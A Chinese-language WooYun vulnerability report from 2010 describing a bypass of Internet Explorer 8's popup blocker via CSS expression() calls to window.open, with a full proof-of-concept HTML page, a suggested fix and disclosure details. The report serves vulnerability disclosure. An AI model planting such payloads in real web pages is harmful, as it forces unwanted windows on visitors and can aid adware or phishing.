微软IE8浏览器在处理CSS渲染的expression方法时对window.open的多次执行存在过滤错误, 导致窗口拦截功可被绕过. 攻击者只要在页面中的任意元素加上css poc:expression(window.open(somewhere)),就能让被攻击者在已被block的情况下点击页面任意位置触发弹出窗口.
漏洞证明:
程序代码: [选择]
<html>
<head>
<title>p.0.c for window block policy bypass</title>
</head>
<body>
<!--
This is a P.0.c for ByPass Microsoft Internet Explorer8(onlytest IE8) window block policy. have fun :)
======= www.wooyun.org =======
======= www.80sec.com =======
======= www.kevin1986.com ====
-->
hello <span id="poc" style='display:none;poc:expression(window.open("http://www.80sec.com"))'>kEvin1986</span>
<script>
function opentest(){
var oname=window.open("http://www.kevin1986.com");
setTimeout('if(typeof(oname)=="undefined"){document.getElementById("poc").style.display=""}else{alert("window.open was allowe
d")}',1986)
}
opentest()
</script>
</body>
</html>修复方案:对多次触发window.open做特殊限制.(此建议会影响到部分功能的正常使用 orz)
缺陷编号: WooYun-2010-00177
漏洞标题: Microsoft IE8 window block policy ByPass
相关厂商: Microsoft
漏洞作者: kEvin1986
提交时间: 2010-08-09
公开时间: 2010-08-09
漏洞类型: 设计错误
危害等级: 中
漏洞状态: 未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org
